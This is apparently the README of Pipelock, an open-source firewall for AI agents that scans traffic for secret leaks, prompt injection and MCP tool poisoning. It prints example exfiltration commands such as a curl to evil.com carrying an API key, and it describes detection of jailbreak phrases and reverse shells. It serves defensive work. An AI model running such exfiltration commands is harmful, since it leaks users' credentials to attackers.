pipelock
Firewall for AI agents. DLP scanning, SSRF protection, bidirectional MCP scanning, tool poisoning detection, and prompt injection blocking.
Pipelock
Open-source agent firewall and local runtime for AI agents. Network scanning, process containment, and tool policy enforcement in a single binary.
Your agent has $ANTHROPIC_API_KEY in its environment, plus shell access. One request is all it takes:
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY" # game over, unless pipelock is watching
Works with: Claude Code · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph · Cursor
Quick Start · Integration Guides · Docs · Blog · Ask Dosu
Quick Start
# macOS / Linux
brew install luckyPipewrench/tap/pipelock
# Or download a binary (no dependencies)
# See https://github.com/luckyPipewrench/pipelock/releases
# Or with Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
# Or from source (requires Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
Try it in 30 seconds:
# 1. Generate a config
pipelock generate config --preset balanced > pipelock.yaml
# 2. This should be BLOCKED (DLP catches the fake API key)
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"
# 3. This should be ALLOWED (clean URL, no secrets)
pipelock check --config pipelock.yaml --url "https://docs.python.org/3/"
The forward proxy intercepts standard HTTPS_PROXY traffic. Enable it in your config, then point any process at pipelock:
# Edit pipelock.yaml: set forward_proxy.enabled to true
pipelock run --config pipelock.yaml
export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888
# Now every HTTP request flows through pipelock's scanner.
curl "https://example.com/?key=sk-ant-api03-fake1234567890" # blocked
No SDK, no wrapper, no code changes. If the agent speaks HTTP, pipelock scans it.
Fetch proxy mode (for agents with a dedicated fetch tool)# Start the proxy (agents connect to localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml
# For full network isolation (agent can ONLY reach pipelock):
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
Every release includes SLSA build provenance and an SBOM (CycloneDX). Verify with the GitHub CLI:
# Verify a downloaded binary
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
# Verify the container image (substitute the release version)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench
Community Rules
Pipelock supports signed rule bundles for distributable detection patterns. Install the official community bundle for additional DLP, injection, and tool-poison patterns beyond the built-in defaults:
pipelock rules install pipelock-community
Rules are loaded at startup and merged with built-in patterns. Bundles are Ed25519-signed and verified against the embedded keyring, which is present in release binaries (Homebrew, GitHub Releases, Docker). Source builds via go install must add the official public key to trusted_keys in their config. See docs/rules.md for details.
How It Works
Pipelock is an agent firewall: like a WAF for web apps, it sits inline between your AI agent and the internet. It uses capability separation: the agent process (which has secrets) is network-restricted, while Pipelock (which holds no agent secrets) inspects all traffic through an 11-layer scanner pipeline. Deployment (Docker network isolation, Kubernetes NetworkPolicy, etc.) enforces the separation boundary.
Three proxy modes, same port:
- Fetch proxy (
/fetch?url=...): Pipelock fetches the URL, extracts text, scans the response for prompt injection, and returns clean content. Best for agents that use a dedicated fetch tool. - Forward proxy (
HTTPS_PROXY): Standard HTTP CONNECT tunneling and absolute-URI forwarding. Agents use Pipelock as their system proxy with zero code changes. Hostname scanning catches blocked domains and SSRF before the tunnel opens. Request body and header DLP scanning catches secrets in POST bodies and auth headers. Optional TLS interception decrypts CONNECT tunnels for full body/header DLP and response injection scanning (requires CA setup viapipelock tls initandpipelock tls install-ca). - WebSocket proxy (
/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection on text frames. Fragment reassembly, message size limits, idle timeout, and connection lifetime controls are all built in.
flowchart LR
subgraph PRIV["PRIVILEGED ZONE"]
Agent["AI Agent\nAPI keys + credentials + source code\nNetwork-isolated by deployment"]
end
subgraph FW["FIREWALL ZONE"]
Proxy["Pipelock\n11-layer scanner pipeline\nNo agent secrets"]
end
subgraph NET["INTERNET"]
Web["APIs + MCP Servers + Web"]
end
Agent -- "fetch / CONNECT / ws / MCP" --> Proxy
Proxy -- "scanned request" --> Web
Web -- "response" --> Proxy
Proxy -- "scanned content" --> Agent
style PRIV fill:#2d1117,stroke:#f85149,color:#e6edf3
style FW fill:#0d2818,stroke:#3fb950,color:#e6edf3
style NET fill:#0d1b2e,stroke:#58a6ff,color:#e6edf3
style Agent fill:#1a1a2e,stroke:#f85149,color:#e6edf3
style Proxy fill:#0d2818,stroke:#3fb950,color:#e6edf3
style Web fill:#0d1b2e,stroke:#58a6ff,color:#e6edf3
┌──────────────────────┐ ┌───────────────────────┐
│ PRIVILEGED ZONE │ │ FIREWALL ZONE │
│ │ │ │
│ AI Agent │ IPC │ Pipelock │
│ - Has API keys │────────>│ - No agent secrets │
│ - Has credentials │ fetch / │ - Full internet │
│ - Restricted network│ CONNECT │ - Returns text │
│ │ /ws │ - WS frame scanning │
│ │<────────│ - URL scanning │
│ Can reach: │ content │ - Audit logging │
│ ✓ api.anthropic.com │ │ │
│ ✓ discord.com │ │ Can reach: │
│ ✗ evil.com │ │ ✓ Any URL │
│ ✗ pastebin.com │ │ But has: │
└──────────────────────┘ │ ✗ No env secrets │
│ ✗ No credentials │
└───────────────────────┘
Why Pipelock?
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |
|---|---|---|---|---|
| Secret exfiltration prevention | Yes | Partial (proxy mode) | Partial (domain-level) | Yes |
| DLP + entropy analysis | Yes | No | No | Partial |
| Prompt injection detection | Yes | Yes | No | No |
| Workspace integrity monitoring | Yes | No | No | Partial |
| MCP scanning (bidirectional + tool poisoning) | Yes | Yes | No | No |
| WebSocket proxy (frame scanning + fragment reassembly) | Yes | No | No | No |
| MCP HTTP transport (Streamable HTTP + reverse proxy) | Yes | No | No | No |
| Emergency kill switch (config + signal + file + API) | Yes | No | No | No |
| Event emission (webhook + syslog) | Yes | No | No | No |
| Tool call chain detection | Yes | No | No | No |
| Single binary, zero deps | Yes | No (Python) | No (npm) | No (kernel-level enforcement) |
| Audit logging + Prometheus | Yes | No | No | No |
Full comparison: docs/comparison.md
Security Matrix
Pipelock runs in three modes:
| Mode | Security | Web Browsing | Use Case |
|---|---|---|---|
| strict | Allowlist-only | None | Regulated industries, high-security |
| balanced | Blocks naive + detects sophisticated | Via fetch or forward proxy | Most developers (default) |
| audit | Logging only | Unrestricted | Evaluation before enforcement |
For agents running uncensored or abliterated models (e.g. OBLITERATUS), the hostile-model preset layers additional defenses on top of strict mode: aggressive entropy thresholds (3.0), blanket network tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains (currently dependency-based detection).
What each mode prevents, detects, or logs:
| Attack Vector | Strict | Balanced | Audit |
|---|---|---|---|
curl evil.com -d $SECRET |
Prevented | Prevented | Logged |
| Secret in URL query params | Prevented | Detected (DLP scan) | Logged |
| Base64-encoded secret in URL | Prevented | Detected (entropy scan) | Logged |
| DNS tunneling | Prevented | Detected (subdomain entropy) | Logged |
| Chunked exfiltration | Prevented | Detected (rate + data budget) | Logged |
| Public-key encrypted blob in URL | Prevented | Logged (entropy flags it) | Logged |
Honest assessment: Strict mode blocks all outbound HTTP except allowlisted API domains, so there's no exfiltration channel through the proxy. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (
pipelock sandbox), pipelock adds OS-level containment (Landlock + network namespaces + seccomp) on top of content inspection — the agent can't bypass the proxy because it has no direct network access.
Features
11-Layer URL Scanner
Every request passes through: scheme validation, CRLF injection detection, path traversal blocking, domain blocklist, DLP pattern matching (46 built-in patterns for API keys, tokens, credentials, cryptocurrency private keys, and financial identifiers with checksum validation), path entropy analysis, subdomain entropy analysis, SSRF protection with DNS rebinding prevention, per-domain rate limiting, URL length limits, and per-domain data budgets.
DLP runs before DNS resolution, designed to catch secrets before any DNS query leaves the proxy. BIP-39 seed phrase detection uses a dedicated scanner with dictionary lookup, sliding window matching, and SHA-256 checksum validation to catch cryptocurrency mnemonic exfiltration across all transport surfaces.
See docs/bypass-resistance.md for the full evasion test matrix.
Process Sandbox
Unprivileged process containment using OS-native kernel primitives. On Linux: Landlock LSM restricts filesystem access, seccomp filters dangerous syscalls, and network namespaces force all traffic through pipelock's scanner (no direct egress). On macOS: sandbox-exec profiles restrict filesystem and network. In containers, use --best-effort for Landlock + seccomp containment when namespace creation is restricted (network scanning uses proxy-based routing instead of kernel enforcement).
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py # containers
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
Response Scanning
Fetched content is scanned for prompt injection and state/control poisoning before reaching the agent. A 6-pass normalization pipeline catches zero-width character evasion, homoglyph substitution, leetspeak encoding, and base64-wrapped payloads. 23 built-in patterns cover jailbreak phrases, instruction manipulation, credential solicitation, memory persistence, preference poisoning, and CJK-language instruction overrides. Actions: block, strip, warn, or ask (human-in-the-loop terminal approval).
MCP Proxy
Wraps any MCP server with bidirectional scanning. Three transport modes: stdio subprocess wrapping, Streamable HTTP bridging, and HTTP reverse proxy. Scans both directions: client requests checked for DLP leaks, server responses scanned for injection, and tools/list responses checked for poisoned descriptions and mid-session rug-pull changes.
# Wrap a local MCP server (stdio)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# Proxy a remote MCP server (HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp
# Combined mode (fetch/forward proxy + MCP on separate ports)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp
MCP Tool Policy
Pre-execution rules that block dangerous tool calls before they reach MCP servers. Ships with 17 built-in rules covering destructive operations, credential access, reverse shells, persistence mechanisms, and encoded command execution. Shell obfuscation detection is built-in. v2.0 adds a redirect action that routes dangerous operations through audited wrappers instead of blocking outright.
Tool Call Chain Detection
Detects attack patterns in sequences of MCP tool calls. Ships with 10 built-in patterns covering reconnaissance, credential theft, data staging, persistence, and exfiltration chains. Uses subsequence matching with configurable gap tolerance, so inserting innocent calls between attack steps doesn't evade detection.
Kill Switch
Emergency deny-all with four independent activation sources: config file, SIGUSR1, sentinel file, and remote API. Any one active blocks all traffic. The API can run on a separate port so agents can't deactivate their own kill switch.
# Activate from operator machine
curl -X POST http://localhost:9090/api/v1/killswitch \
-H "Authorization: Bearer TOKEN" -d '{"active": true}'
Scan API
Evaluation endpoint for programmatic scanning. Any tool, pipeline, or control plane can submit URLs, text, or tool calls and get a structured verdict back — the proxy doesn't need to be in the request path. Four scan kinds: url, dlp, prompt_injection, and tool_call. Returns findings with scanner type, rule ID, and severity. Bearer token auth, per-token rate limiting, and Prometheus metrics.
See docs/scan-api.md for the full API reference.
Address Protection
Detects blockchain address poisoning attacks where a lookalike address is substituted for a legitimate one. Validates addresses for ETH, BTC, SOL, and BNB chains, compares against a user-supplied allowlist, and flags similar addresses using prefix/suffix fingerprinting. Designed for agents that interact with DeFi protocols or execute transactions.
Filesystem Sentinel
Monitors agent working directories for secrets written to disk. When an MCP subprocess writes a file containing credentials, pipelock detects it using the same DLP patterns applied to network traffic. On Linux, process lineage tracking attributes file writes to the agent's process tree. See docs/guides/filesystem-sentinel.md.
Event Emission
Forward audit events to external systems (SIEM, webhook receivers, syslog). Events are fire-and-forget and never block the proxy. Each event includes a MITRE ATT&CK technique ID where applicable (T1048 for exfiltration, T1059 for injection, T1195.002 for supply chain).
See docs/guides/siem-integration.md for log schema, forwarding patterns, and example SIEM queries.
Security Assessment
pipelock assess runs a four-stage security assessment against your deployment: attack simulation (20 scenarios across DLP, injection, tool poisoning, and URL evasion), config audit (12 categories scored 0-100), deployment verification (live probe of scanning and containment), and MCP server discovery (protection status across Claude Code, Cursor, VS Code, and other clients).
Critical exposures like unprotected MCP servers cap the grade regardless of numeric score.
pipelock assess init --config pipelock.yaml
pipelock assess run assessment-a1b2c3d4/
pipelock assess finalize assessment-a1b2c3d4/
The free summary shows your grade, section scores, and top findings. Licensed users get the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.
More Features
| Feature | What It Does |
|---|---|
| Audit Reports | pipelock report --input events.jsonl generates HTML/JSON reports with risk rating, timeline, and evidence appendix. Ed25519 signing with --sign. (Sample report) |
| Diagnose | pipelock diagnose runs 7 local checks to verify your config works end-to-end (no network required) |
| TLS Interception | Optional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. pipelock tls init generates a CA, then pipelock tls install-ca trusts it system-wide. |
| Block Hints | Opt-in explain_blocks: true adds fix suggestions to blocked responses |
| Project Audit | pipelock audit ./project scans for security risks and generates a tailored config |
| Config Scoring (v2.0) | pipelock audit score --config pipelock.yaml evaluates security posture across 12 categories (0-100 with letter grade). Flags overpermissive tool policies. |
| File Integrity | SHA256 manifests detect modified, added, or removed workspace files |
| Git Protection | git diff | pipelock git scan-diff catches secrets before they're committed |
| Ed25519 Signing | Key management, file signing, and signature verification for multi-agent trust |
| Session Profiling | Per-session behavioral analysis (domain bursts, volume spikes) |
| Adaptive Enforcement | Per-session threat score with automatic escalation from warn to block, de-escalation timers, and domain burst detection |
| Finding Suppression | Silence known false positives via config rules or inline pipelock:ignore comments |
| Multi-Agent Support | Agent identification via X-Pipelock-Agent header for per-agent filtering |
| Fleet Monitoring | Prometheus metrics + ready-to-import Grafana dashboard |
Configuration
Generate a starter config, or use one of the 7 presets:
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml # tailored to your project
| Preset | Mode | Action | Best For |
|---|---|---|---|
configs/balanced.yaml |
balanced | warn | General purpose |
configs/strict.yaml |
strict | block | High-security |
configs/audit.yaml |
audit | warn | Log-only monitoring |
configs/claude-code.yaml |
balanced | block | Claude Code (unattended) |
configs/cursor.yaml |
balanced | block | Cursor IDE |
configs/generic-agent.yaml |
balanced | warn | New agents (tuning) |
configs/hostile-model.yaml |
strict | block | Uncensored/abliterated models |
Config changes are picked up automatically via file watcher or SIGHUP (most fields hot-reload without restart).
Full reference with all fields, defaults, and hot-reload behavior: docs/configuration.md
Integration Guides
- Claude Code: MCP proxy setup,
.claude.jsonconfiguration - OpenAI Agents SDK:
MCPServerStdio, multi-agent handoffs - Google ADK:
McpToolset,StdioConnectionParams - AutoGen:
StdioServerParams,mcp_server_tools() - CrewAI:
MCPServerStdiowrapping,MCPServerAdapter - LangGraph:
MultiServerMCPClient,StateGraph - Cursor: use
configs/cursor.yamlwith the same MCP proxy pattern as Claude Code - OpenClaw: Gateway sidecar, init container,
generate mcporterconfig wrapping
CI Integration
GitHub Action
Scan your project for agent security risks on every PR. No Go toolchain needed.
# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2
with:
scan-diff: 'true'
fail-on-findings: 'true'
The action downloads a pre-built binary, runs pipelock audit on your project, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. Critical findings produce inline annotations on the PR diff.
See examples/ci-workflow.yaml for a complete workflow.
Reusable Workflow
For even simpler adoption, call the reusable workflow directly:
# .github/workflows/security.yaml
jobs:
pipelock:
uses: luckyPipewrench/pipelock/.github/workflows/reusable-scan.yml@v2
with:
fail-on-critical: true
That's the entire workflow. Everything else is defaults: auto-generated config, PR diff scanning, artifact upload.
Deployment
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent (Docker Compose)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
For production deployment recipes (Docker Compose with network isolation, Kubernetes sidecar + NetworkPolicy, iptables/nftables, macOS PF): docs/guides/deployment-recipes.md
API Reference# Fetch a URL (returns extracted text content)
curl "http://localhost:8888/fetch?url=https://example.com"
# Forward proxy (when forward_proxy.enabled: true)
# Set HTTPS_PROXY=http://localhost:8888 and use any HTTP client normally.
curl -x http://localhost:8888 https://example.com
# WebSocket proxy (when websocket_proxy.enabled: true)
# wscat -c "ws://localhost:8888/ws?url=ws://upstream:9090/path"
# Health check
curl "http://localhost:8888/health"
# Prometheus metrics
curl "http://localhost:8888/metrics"
# JSON stats (top blocked domains, scanner hits, tunnels, block rate)
curl "http://localhost:8888/stats"
# Kill switch API (when api_listen is set, use that port instead)
curl -X POST http://localhost:9090/api/v1/killswitch \
-H "Authorization: Bearer TOKEN" -d '{"active": true}'
curl http://localhost:9090/api/v1/killswitch/status \
-H "Authorization: Bearer TOKEN"
Fetch response:
{
"url": "https://example.com",
"agent": "my-bot",
"status_code": 200,
"content_type": "text/html",
"title": "Example Domain",
"content": "This domain is for use in illustrative examples...",
"blocked": false
}
Health response:
{
"status": "healthy",
"version": "x.y.z",
"mode": "balanced",
"uptime_seconds": 3600.5,
"dlp_patterns": 46,
"response_scan_enabled": true,
"kill_switch_active": false
}
| Threat | Coverage |
|---|---|
| ASI01 Agent Goal Hijack | Strong: bidirectional MCP + response scanning |
| ASI02 Tool Misuse | Partial: proxy as controlled tool, MCP scanning |
| ASI03 Identity & Privilege Abuse | Strong: capability separation + SSRF protection |
| ASI04 Supply Chain Vulnerabilities | Partial: integrity monitoring + MCP scanning |
| ASI05 Unexpected Code Execution | Moderate: HITL approval, fail-closed defaults |
| ASI06 Memory & Context Poisoning | Moderate: injection detection on fetched content |
| ASI07 Insecure Inter-Agent Communication | Partial: agent ID, integrity, signing |
| ASI08 Cascading Failures | Moderate: fail-closed architecture, rate limiting |
| ASI09 Human-Agent Trust Exploitation | Partial: HITL modes, audit logging |
| ASI10 Rogue Agents | Strong: domain allowlist + rate limiting + capability separation |
Details, config examples, and gap analysis: docs/owasp-mapping.md
Docs
| Document | What's In It |
|---|---|
| Scan API | Evaluation endpoint for programmatic URL/text/tool-call scanning |
| Configuration Reference | All config fields, defaults, hot-reload behavior, presets |
| Deployment Recipes | Docker Compose, K8s sidecar + NetworkPolicy, iptables, macOS PF |
| Bypass Resistance | Known evasion techniques, mitigations, and honest limitations |
| Known Attacks Blocked | Real attacks with repro snippets and pipelock config that stops them |
| Policy Spec v0.1 | Portable agent firewall policy format |
| SIEM Integration | Log schema, forwarding patterns, KQL/SPL/EQL queries |
| Metrics Reference | All 45 Prometheus metrics, alert rule templates |
| OWASP Agentic Top 10 | Coverage against OWASP Agentic AI Top 10 |
| OWASP MCP Top 10 | Coverage against OWASP MCP Top 10 |
| EU AI Act Mapping | EU AI Act Article 9-26 compliance mapping |
| NIST 800-53 Mapping | NIST SP 800-53 Rev. 5 security controls mapping |
| Comparison | How pipelock compares to agent-scan, srt, agentsh, MCP Gateway |
| Finding Suppression | Rule names, path matching, inline comments, CI integration |
| OpenClaw Guide | Gateway sidecar, init container, generate mcporter wrapping |
| Security Assurance | Security model, trust boundaries, supply chain |
| Transport Modes | Comparison of all proxy modes and their scanning capabilities |
| JetBrains Guide | Junie MCP proxy wrapping for IntelliJ, PyCharm, GoLand, etc. |
| OWASP Agentic AI Threats (Top 15) | Coverage against OWASP Agentic AI Threats & Mitigations (T1-T15) |
| Community Rules | Install, configure, and create signed rule bundles |
Project Structure
cmd/pipelock/ CLI entry point
internal/
cli/ 20+ Cobra commands (run, check, generate, mcp, integrity, ...)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ 11-layer URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS interception
certgen/ ECDSA P-256 CA + leaf certificate generation, cache
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
killswitch/ Emergency deny-all (4 sources) + port-isolated API
emit/ Event emission (webhook + syslog sinks)
metrics/ Prometheus metrics + JSON stats
normalize/ Unicode normalization (NFKC, confusables, combining marks)
integrity/ SHA256 file integrity monitoring
signing/ Ed25519 key management
gitprotect/ Git diff scanning for secrets
hitl/ Human-in-the-loop terminal approval
report/ HTML/JSON audit report generation from JSONL event logs
projectscan/ Project directory scanning for audit command
addressprotect/ Blockchain address validation and poisoning detection
seedprotect/ BIP-39 seed phrase detection (dictionary, sliding window, checksum)
rules/ Community rule bundle loading, verification, and CLI
enterprise/ Multi-agent features (ELv2, see enterprise/LICENSE)
configs/ 7 preset config files
docs/ Guides, references, compliance mappings
Testing
Pipelock is tested like a security product, not just a developer tool. The open-source core is covered by thousands of unit, integration, and end-to-end tests across the proxy, scanner, MCP, WebSocket, and policy layers. In addition, we maintain a separate private adversarial test suite that exercises real-world attack classes against the production binary.
That suite covers the problems an agent firewall actually has to stop: secret exfiltration, prompt injection, SSRF, tool poisoning, and transport-layer evasions across HTTP, WebSocket, and MCP. We publish the methodology and coverage areas; we do not publish live bypass payloads that would lower attacker cost. Every bypass graduates into a regression test before release.
This is not security through obscurity. Pipelock's detection and enforcement logic is open source and inspectable. Public tests remain extensive. The private adversarial suite exists to continuously regression-test bypass classes without handing out a replay script.
For more detail on the security model, trust boundaries, and known limitations, see the Security Assurance Case.
Metrics
Canonical metrics, updated each release.
| Metric | Value |
|---|---|
Go tests (with -race) |
9,500+ |
| Statement coverage | 88%+ |
| Evasion techniques tested | 230+ |
| Scanner pipeline overhead | ~32μs per URL scan (performance details) |
| CI matrix | Go 1.25 + 1.26, CodeQL, golangci-lint |
| Supply chain | SLSA provenance, CycloneDX SBOM, cosign signatures |
| OpenSSF Scorecard | Live score |
Run make test to verify locally. Performance data: docs/performance.md. Raw benchmarks: docs/benchmarks.md.
Independent benchmark: agent-egress-bench (72 attack cases across 8 categories, tool-neutral).
Credits
- Architecture influenced by Anthropic's Claude Code sandboxing and sandbox-runtime
- Threat model informed by OWASP Agentic AI Top 10
- See docs/comparison.md for how Pipelock relates to other tools in this space
- Security review contributions from Dylan Corrales
Contributions welcome. See CONTRIBUTING.md for guidelines.
If Pipelock is useful, please star this repository. It helps others find the project.
License
Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.
Multi-agent features (per-agent identity, budgets, and configuration isolation)
are in the enterprise/ directory, gated by the enterprise build tag and licensed
under the Elastic License 2.0 (ELv2). These features activate with a valid license key.
The open-source core works independently without paid features. All scanning, detection,
and single-agent protection is free.
Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier
code that activates with a valid license key. Building from source with go install or the
repository Dockerfile produces a Community-only binary.
See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.
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